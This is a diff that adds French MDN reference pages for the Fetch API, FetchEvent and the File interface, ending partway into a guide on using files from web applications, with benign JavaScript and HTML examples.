+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>Ceci rend l'usage de données non textuelles plus facile qu’avec XHR.</p>
+
+<p>Le corps des requêtes peut être défini en passant les paramètres du corps:</p>
+
+<pre class="brush: js">var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+})</pre>
+
+<p>Les Requêtes et Réponses (et par extension la fonction <code>fetch()</code>), vont tenter de déterminer le type de contenu. Une requête va automatiquement définir un en-tête <code>Content-Type</code>  si rien n'est défini dans le dictionnaire [NDLT: configuration d'initialisation].</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/ServiceWorker_API">API ServiceWorker</a></li>
+ <li><a href="/fr/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/fr/docs/Web/HTTP">HTTP</a></li>
+ <li><a class="external" href="https://github.com/github/fetch">Polyfill pour Fetch</a></li>
+ <li><a class="external" href="https://github.com/mdn/fetch-examples/">Exemples de Fetch sur Github</a></li>
+</ul>
diff --git a/files/fr/web/api/fetchevent/index.html b/files/fr/web/api/fetchevent/index.html
new file mode 100644
index 0000000000..ae50977073
--- /dev/null
+++ b/files/fr/web/api/fetchevent/index.html
@@ -0,0 +1,159 @@
+---
+title: FetchEvent
+slug: Web/API/FetchEvent
+translation_of: Web/API/FetchEvent
+---
+<p>{{APIRef("Service Workers API")}}{{ SeeCompatTable() }}</p>
+
+<p>Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}}, <code>FetchEvent</code> représente une action de récupération qui est délivrée sur la {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}. Il contient des informations relatives à la requête et la réponse associée, et fourni la méthode {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} , qui permet de renvoyer une réponse arbitraire à la page controlée.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("FetchEvent.FetchEvent()")}}</dt>
+ <dd>Crée un nouvel objet <code>FetchEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite de son ancêtre, {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("FetchEvent.isReload")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} qui est à <code>true</code> si l'évènement a été délivré avec l'intention de recharger la page, ou <code>false</code> sinon. Par exemple, cliquer sur le bouton recharger du navigateur est considéré comme une intention de recharger la page, tandis que cliquer sur un lien ou sur le bouton précédent du navigateur n'est pas considéré comme tel.</dd>
+ <dt>{{domxref("FetchEvent.request")}} {{readonlyInline}}</dt>
+ <dd>Retourne la {{domxref("Request")}} qui a déclenché l'évènement.</dd>
+ <dt>{{domxref("FetchEvent.clientId")}} {{readonlyInline}}</dt>
+ <dd>Retourne l'id du {{domxref("Client")}} controlé par le service worker en cours.</dd>
+</dl>
+
+<h3 id="Propriétés_dépréciées">Propriétés dépréciées</h3>
+
+<dl>
+ <dt>{{domxref("FetchEvent.client")}} {{readonlyInline}}</dt>
+ <dd>Retourne le {{domxref("Client")}} controlé par le service worker en cours.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite de son parent, </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("FetchEvent.respondWith()")}}</dt>
+ <dd>Promesse qui est résolue en retournant une {{domxref("Response")}} ou une <a href="http://fetch.spec.whatwg.org/#concept-network-error">erreur réseau</a>  à <code style="font-style: normal;"><a href="http://fetch.spec.whatwg.org/#concept-fetch">Fetch</a></code>.</dd>
+ <dt>{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Etend la durée de vie de l'évènement. Cette méthode est destinée à être appelée dans l'{{domxref("EventHandler")}} {{event("install")}} pour le worker {{domxref("ServiceWorkerRegistration.installing", "installing")}}, et dans l'{{domxref("EventHandler")}} {{event("active")}} pour le worker {{domxref("ServiceWorkerRegistration.active", "active")}}.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce extrait de code provient de l'exemple <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">Service Worker Fetch</a> (<a href="https://googlechrome.github.io/samples/service-worker/prefetch/">lancer l'exemple dans le navigateur</a>). Dans une partie antérieure du code,  un {{domxref("InstallEvent")}} contrôle la mise en cache de plusieurs ressources. Le gestionnaire {{domxref("ServiceWorkerGlobalScope.onfetch")}} attends ensuite l'évènement {{event("fetch")}} . Une fois déclenché, {{domxref("FetchEvent.respondWith()")}} retourne une promesse à la page contrôlée. Cette promesse est résolue avec comme valeur de retour la première requête d'URL qui correspond dans l'objet {{domxref("Cache")}}. Si aucune correspondance n'est trouvée (i.e. la ressource n'a pas été mise en cache pendant la phase d'installation), le code va récupérer une réponse depuis le réseau.</p>
+
+<p>Le code gère aussi les exceptions émises depuis l'opération {{domxref("ServiceWorkerGlobalScope.fetch()")}}. A noter que qu'une réponse d'erreur HTTP (e.g., 404) ne déclenche pas d'exception. Elle retourne un objet de réponse normal avec le code d'erreur approprié.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+  console.log('Gestion de l\'évènement de fetch pour', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Réponse trouvée en cache:', response);
+
+        return response;
+      }
+      console.log('Pas de réponse trouvée en cache. Sur le point de la récupérer via le réseau...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('La réponse du réseau est:', response);
+
+        return response;
+      }).catch(function(error) {
+        console.error('Récupération échouée:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(44.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/fr/web/api/file/filename/index.html b/files/fr/web/api/file/filename/index.html
new file mode 100644
index 0000000000..50942c002b
--- /dev/null
+++ b/files/fr/web/api/file/filename/index.html
@@ -0,0 +1,38 @@
+---
+title: File.fileName
+slug: Web/API/File/fileName
+tags:
+  - API
+  - DOM
+  - Fichier
+  - Nom
+  - Propriétés
+translation_of: Web/API/File/fileName
+---
+<p>{{APIRef("File API")}}{{non-standard_header}}</p>
+
+<p>{{obsolete_header(7.0)}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Renvoie le nom du fichier. Pour des raisons de sécurité, le chemin est exclu de la propriété.</p>
+
+<div class="note">Cette propriété est dépréciée. Utilisez {{domxref("File.name")}} à la place.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var name = instanceOfFile.fileName</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("File.name")}}</li>
+</ul>
diff --git a/files/fr/web/api/file/filesize/index.html b/files/fr/web/api/file/filesize/index.html
new file mode 100644
index 0000000000..b7d03c1e7d
--- /dev/null
+++ b/files/fr/web/api/file/filesize/index.html
@@ -0,0 +1,37 @@
+---
+title: File.fileSize
+slug: Web/API/File/fileSize
+tags:
+  - API
+  - DOM
+  - Fichier
+  - Propriétés
+translation_of: Web/API/File/fileSize
+---
+<p>{{APIRef("File API") }}{{non-standard_header}}</p>
+
+<p>{{obsolete_header(7.0)}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Renvoie la taille du fichier en octets.</p>
+
+<div class="note">Cette propriété est dépréciée. Utilisez {{domxref("Blob.size")}} à la place.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var size = <em>instanceOfFile</em>.fileSize</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Un nombre.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Blob.size")}}</li>
+</ul>
diff --git a/files/fr/web/api/file/index.html b/files/fr/web/api/file/index.html
new file mode 100644
index 0000000000..ef512c1156
--- /dev/null
+++ b/files/fr/web/api/file/index.html
@@ -0,0 +1,119 @@
+---
+title: File
+slug: Web/API/File
+tags:
+  - DOM
+  - File
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<p>L’interface <strong><code>File</code></strong> fournit des informations sur des fichiers et permet au code JavaScript d’une une page web d’accéder à leurs contenus.</p>
+
+<p>Les objets <code>File</code> sont généralements obtenus à partir de :</p>
+
+<ul>
+ <li>l’objet {{domxref("FileList")}} retourné lorsque qu’un utilisateur ou une utilisatrice sélectionne des fichiers grâce à un élément {{HTMLElement("input")}} ;</li>
+ <li>l’objet {{domxref("DataTransfer")}} d’une opération de glisser-déposer ;</li>
+ <li>l’API <code>mozGetAsFile()</code> de l’élément {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
+
+<p>Dans Gecko, le code privilégié peut créer des objets <code>File</code> représentant tout fichier local sans nécessiter une interaction de l’utilisateur ou de l’utilisatrice (voir {{anch("Notes d’implémentation")}} pour plus d’informations.)</p>
+
+<p>Un objet <code>File</code> est un genre spécifique de {{domxref("Blob")}}, et peut être utilisé dans tout contexte où un blob peut l’être. En particulier, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, et {{domxref("XMLHttpRequest", "", "send()")}} acceptent indifféremment des <code>Blob</code>s et des <code>File</code>s.</p>
+
+<p>Voir <a href="/fr/docs/Web/API/File/Using_files_from_web_applications">Utiliser des fichiers à partir d'applications web</a> pour plus d’informations et des exemples.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("File.File", "File()")}}</dt>
+ <dd>Renvoie un <code>File</code> nouvellement construit.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>Renvoie le temps de dernière modification du fichier, exprimé en millisecondes écoulées depuis l’ère UNIX (1er janvier 1970 à minuit).</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>Renvoie la {{jsxref("Date")}} de dernière modification du fichier.</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd>Renvoie le nom du fichier.</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Renvoie le chemin auquel l’URL du {{domxref("File")}} est relative.</dd>
+</dl>
+
+<p><code>File</code> implémente {{domxref("Blob")}}, et ainsi possède les propriétés suivantes :</p>
+
+<dl>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd>Renvoie la taille du fichier en octets.</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd>Renvoie le type <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">MIME</a>du fichier.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L’interface <code>File</code> ne définit aucune méthode, mais hérite des méthodes de l’interface {{domxref("Blob")}} :</em></p>
+
+<dl>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Blob</code> contenant les données du blob source comprises dans l’intervalle d’octets spécifié.</dd>
+ <dt>{{domxref("Blob.stream()", "Blob.stream()")}}</dt>
+ <dd>Transforme le <code>File</code> en un {{domxref("ReadableStream")}} pouvant être utilisé pour lire le contenu du <code>File</code>.</dd>
+ <dt>{{domxref("Blob.text()", "Blob.text()")}}</dt>
+ <dd>Transforme le <code>File</code> en un flux (<em>stream</em>) et le lit en entier. Renvoie une {{jsxref("promise", "promesse")}} qui se résoud en une {{domxref("USVString")}} (texte).</dd>
+ <dt>{{domxref("Blob.arrayBuffer()", "Blob.arrayBuffer()")}}</dt>
+ <dd>Transforme le <code>File</code> en un flux (<em>stream</em>) et le lit en entier. Retourne une {{jsxref("promise", "promesse")}} qui se résoud en un {{domxref("ArrayBuffer")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.File")}}</p>
+
+<h3 id="Notes_d’implémentation">Notes d’implémentation</h3>
+
+<ul>
+ <li>Dans Gecko, vous pouvez utiliser API depuis du code chrome. Voir <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> pour plus de détails. Pour l’utiliser depuis du code chrome, JSM, ou portée Bootstrap, vous devez l’importer en utilisant <code><a href="/en-US/docs/Components.utils.importGlobalProperties">Cu.importGlobalProperties</a>(['File']);</code></li>
+ <li>À partir de Gecko 6.0 {{geckoRelease("6.0")}}, le code privilégié (par exemple au sein d’une extension) peut passer un objet {{interface("nsIFile")}} au constructeur DOM <code>File</code> pour spécifier le fichier à référencer.</li>
+ <li>À partir de Gecko 8.0 {{geckoRelease("8.0")}}, vous pouvez utiliser <code>new File</code> pour créer des objets <code>File</code> depuis des composants XPCOM au lieu de devoir instancier les objets {{interface("nsIDOMFile")}} directement. Contrairement à {{domxref("Blob")}}, le constructeur prend le nom de fichier comme second argument. Le nom de fichier peut être une chaîne quelconque.
+  <pre class="syntaxbox">new File(
+  Array parts,
+  String filename,
+  BlobPropertyBag properties
+);</pre>
+ </li>
+ <li>Les propriétés et méthodes non standard suivantes ont été retirées de Gecko 7 {{geckoRelease("7.0")}} : {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Les propriétés standard {{domxref("File.name")}}, {{domxref("Blob.size")}}, et les méthodes de {{domxref("FileReader")}} devraient être utilisées à la place.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/File/Using_files_from_web_applications">Utiliser des fichiers à partir d'applications web</a></li>
+ <li>{{domxref("FileReader")}}</li>
+ <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> (pour du code privilégié s’exécutant dans Gecko, tel que des extensions de Firefox)</li>
+</ul>
diff --git a/files/fr/web/api/file/using_files_from_web_applications/index.html b/files/fr/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..f477f8f651
--- /dev/null
+++ b/files/fr/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,494 @@
+---
+title: Utiliser des fichiers à partir d'applications web
+slug: Web/API/File/Using_files_from_web_applications
+tags:
+  - Files
+  - HTML5
+  - Téléchargement
+  - ajax upload
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p>{{APIRef("File API")}}{{draft}}</p>
+
+<p>Grâce à l'API File ajoutée au DOM avec HTML5, il est maintenant possible depuis une page web de proposer à l'utilisateur de sélectionner des fichiers locaux, puis d'en lire le contenu. Cette sélection est possible en utilisant un élément HTML {{ HTMLElement("input") }} ou par glisser-déposer.</p>
+
+<p>Vous pouvez utiliser si vous le souhaitez l'API DOM File depuis du code chrome d'extensions ou d'un autre navigateur ; notez cependant qu'il existe des fonctionnalités additionnelles auxquelles il vous faudra être attentif. Reportez-vous à <a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a> pour plus de détails.</p>
+
+<h2 id="Accéder_au(x)_fichier(s)_sélectionné(s)">Accéder au(x) fichier(s) sélectionné(s)</h2>
+
+<p>Examinez ce code HTML :</p>
+
+<pre class="brush: html">&lt;input type="file" id="input"&gt;</pre>
+
+<p>L'API File permet d'accèder à la {{ domxref("FileList") }} contenant les objets {{ domxref("File") }} qui correspondent aux fichiers selectionnés par l'utilisateur.</p>
+
+<p>Si l'utilisateur ne sélectionne qu'un seul fichier, on ne prendra en compte que le premier élément de la {{ domxref("FileList") }}.</p>
+
+<p>Pour accéder à un fichier sélectionné en utilisant un sélecteur DOM classique :</p>
+
+<pre class="brush: js">var fichierSelectionne = document.getElementById('input').files[0];</pre>
+
+<p>Pour accèder à un fichier sélectionné en utilisant un sélecteur <a href="http://jquery.com/" title="http://jquery.com/">jQuery</a> :</p>
+
+<pre class="brush: js"><code>var </code>fichierSelectionne <code>= $('#input').get(0).files[0];
+
+var </code>fichierSelectionne <code>= $('#input')[0].files[0];</code></pre>
+
+<div class="note">
+<p>Si vous rencontrez une erreur "<code>files is undefined</code>" : vous n'avez pas sélectionné le bon élément HTML, en oubliant qu'un sélecteur jQuery renvoie une liste d'éléments DOM correspondants. Récupérez l'élément DOM pour appeler sa méthode "<code>files</code>".</p>
+</div>
+
+<h2 id="Accéder_au(x)_fichier(s)_sélectionné(s)_sur_un_événement_change">Accéder au(x) fichier(s) sélectionné(s) sur un événement <em>change</em></h2>
+
+<p>Il est en outre possible (mais pas obligatoire) d'accéder à la {{ domxref("FileList") }} via l'événement <code>change</code> :</p>
+
+<pre class="brush: html">&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>La fonction <code>handleFiles()</code> est appelée avec un objet {{ domxref("FileList") }} contenant des objets {{ domxref("File") }} représentant les fichiers sélectionnés par l'utilisateur.</p>
+
+<p>Si vous souhaitez permettre à l'utilisateur de sélectionner plusieurs fichiers simmultanément, utilisez simplement l'attribut <code>multiple</code> de l'élément <code>input</code> :</p>
+
+<pre class="brush: html">&lt;input type="file" id="input" <strong>multiple</strong> onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>La liste de fichiers passée à la fonction <code>handleFiles()</code> contient dans ce cas un seul objet {{ domxref("File") }} pour chaque fichier sélectionné par l'utilisateur.</p>
+
+<h3 id="Ajouter_dynamiquement_un_gestionnaire_d'événement_change">Ajouter dynamiquement un gestionnaire d'événement <em>change</em></h3>
+
+<p>Dans le cas où votre champ input a été créé à l'aide d'une bibliothèque JavaScript comme <a class="external" href="http://www.jquery.com/" title="http://www.jquery.com/">jQuery</a>, il vous faudra utiliser la méthode {{ domxref("EventTarget.addEventListener()") }} pour ajouter le gestionnaire d'événement <code>change</code>, comme cela :</p>
+
+<pre class="brush: js">var inputElement = document.getElementById("inputField");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  var fileList = this.files; /* Vous pouvez maintenant manipuler la liste de fichiers */
+}</pre>
+
+<p>Notez que dans ce cas la fonction <code>handleFiles()</code> est elle-même le gestionnaire d'événement, contrairement à l'exemple précédent où un gestionnaire d'événement l'appelle en lui passant un paramètre.</p>
+
+<h2 id="Obtenir_des_informations_sur_le(s)_fichier(s)_sélectionné(s)">Obtenir des informations sur le(s) fichier(s) sélectionné(s)</h2>
+
+<p>L'objet {{ domxref("FileList") }} exposé par le DOM fournit la liste de tous les fichiers sélectionnés par l'utilisateur, chaque fichier étant identifié par un objet {{ domxref("File") }}. Vous pouvez en déterminer le nombre en récupérant la valeur de l'attribut <code>length</code> de la liste de fichiers :</p>
+
+<pre class="brush: js"><code>var numFiles = files.length;</code></pre>
+
+<p>Chaque objet {{ domxref("File") }} peut être simplement récupéré en accédant à la liste comme vous le feriez pour un tableau :</p>
+
+<pre class="brush: js">for (var i = 0, numFiles = files.length; i &lt; numFiles; i++) {
+  var file = files[i];
+  ..
+}
+</pre>
+
+<p>La boucle parcourt l'ensemble des fichiers de la liste.</p>
+
+<p>L'objet {{ domxref("File") }} expose trois attributs accessibles en lecture seulement et contenant des informations utiles sur le fichier.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Une chaîne de caractères contenant le nom du fichier uniquement, sans aucune information relative au chemin d'accès.</dd>
+ <dt><code>size</code></dt>
+ <dd>La taille du fichier exprimée en octets, sous la forme d'un entier de 64 bits.</dd>
+ <dt><code>type</code></dt>
+ <dd>Le type MIME du fichier sous la forme d'une chaîne de caractères, ou bien une chaîne vide <code>""</code> si le type ne peut pas être déterminé.</dd>
+</dl>
+
+<h3 id="Exemple_Afficher_la_taille_d'un_ou_plusieurs_fichiers">Exemple : Afficher la taille d'un ou plusieurs fichiers</h3>
+
+<p>L'exemple suivant montre une utilisation possible de la propriété <code>size</code> :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;File(s) size&lt;/title&gt;
+&lt;script&gt;
+function updateSize() {
+  var nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (var nFileId = 0; nFileId &lt; nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  var sOutput = nBytes + " bytes";
+  // partie de code facultative pour l'approximation des multiples
+  for (var aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox &gt; 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // fin de la partie de code facultative
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="updateSize();"&gt;
+&lt;form name="uploadForm"&gt;
+&lt;p&gt;&lt;input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple&gt; selected files: &lt;span id="fileNum"&gt;0&lt;/span&gt;; total size: &lt;span id="fileSize"&gt;0&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send file"&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Utiliser_des_éléments_input_masqués_de_type_file_avec_l'événement_click">Utiliser des éléments <em>input </em>masqués de type <em>file </em>avec l'événement <code>click</code></h2>
+
+<p>Il est possible depuis Gecko 2.0 {{ geckoRelease("2.0") }} de masquer l'élément {{ HTMLElement("input") }} de type file, généralement considéré comme laid, et de présenter votre propre interface pour l'ouverture du sélecteur de fichiers et l'affichage du ou des fichiers sélectionnés par l'utilisateur. Vous devez pour cela attribuer à votre élément <code>input</code> un style incluant <code>display:none</code> et gérer l'événement <code>click</code> sur votre élément {{ HTMLElement("input") }}.</p>
+
+<p>Examinez cet extrait de code HTML :</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;</pre>
+
+<p>Le code gérant l'événement <code>click</code> peut être écrit de cette façon :</p>
+
+<pre class="brush: js">var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // empêche la navigation vers "#"
+}, false);
+</pre>
+
+<p>Vous pouvez bien sûr appliquer le style de votre choix au nouveau bouton d'ouverture du sélecteur de fichiers.</p>
+
+<h2 id="Utiliser_un_élément_label_pour_activer_un_élément_input_masqué_de_type_file">Utiliser un élément <em>label </em>pour activer un élément <em>input </em>masqué de type <em>file</em></h2>
+
+<p>Un élément {{ HTMLElement("label") }} peut être utilisé pour ouvrir le sélecteur de fichiers sans l'aide de JavaScript (méthode <code>click()</code>).</p>
+
+<p>Examinez ce morceau de code HTML :</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt; &lt;label for="fileElem"&gt;Select some files&lt;/label&gt;</pre>
+
+<p>Il n'y a pas besoin d'ajouter du code JavaScript pour l'appel à <code>fileElem.click()</code>. Vous pouvez dans ce cas aussi appliquer le style de votre choix à l'élément <code>label</code>.</p>
+
+<h2 id="Sélectionner_des_fichiers_en_utilisant_drag_and_drop">Sélectionner des fichiers en utilisant <em>drag and drop</em></h2>
+
+<p>Vous pouvez aussi autoriser l'utilisateur à glisser-déposer (<em>drag and drop</em>) des fichiers dans votre application web.</p>
+
+<p>La première étape consiste définir une zone de dépôt. La délimitation exacte de la partie de votre page qui acceptera des dépôts dépend de la conception de votre application, mais il est facile d'autoriser un élément à capter des événements <code>drop</code> :</p>
+
+<pre class="brush: js">var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>Dans cet exemple, l'élément portant l'ID <code>dropbox</code> devient notre zone de dépôt en y ajoutant les gestionnaires d'écoute des événements {{event('dragenter')}}, {{event('dragover')}}, et {{event('drop')}}.</p>
+
+<p>Nous n'avons pas vraiment besoin dans notre cas de gérer les événements <code>dragenter</code> et <code>dragover</code>. Les deux fonctions associées restent donc assez simples, elle ne servent qu'à stopper la propagation de l'événement et empêcher le déclenchement de l'action par défaut :</p>
+
+<pre class="brush: js">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>La vraie magie est dans la fonction <code>drop()</code> :</p>
+
+<pre class="brush: js">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}</pre>
+
+<p>Nous récupérons ici le champ <code>dataTransfer</code> de l'événement puis nous en extrayons la liste des fichiers que nous passons à <code>handleFiles()</code>. À partir de ce point les fichiers se manipulent de la même façon, que l'utilisateur ait employé l'élément <code>input</code> ou le glisser-déposer.</p>
+
+<h2 id="Exemple_Afficher_les_miniatures_d'images_sélectionnées_par_l'utilisateur">Exemple : Afficher les miniatures d'images sélectionnées par l'utilisateur</h2>
+
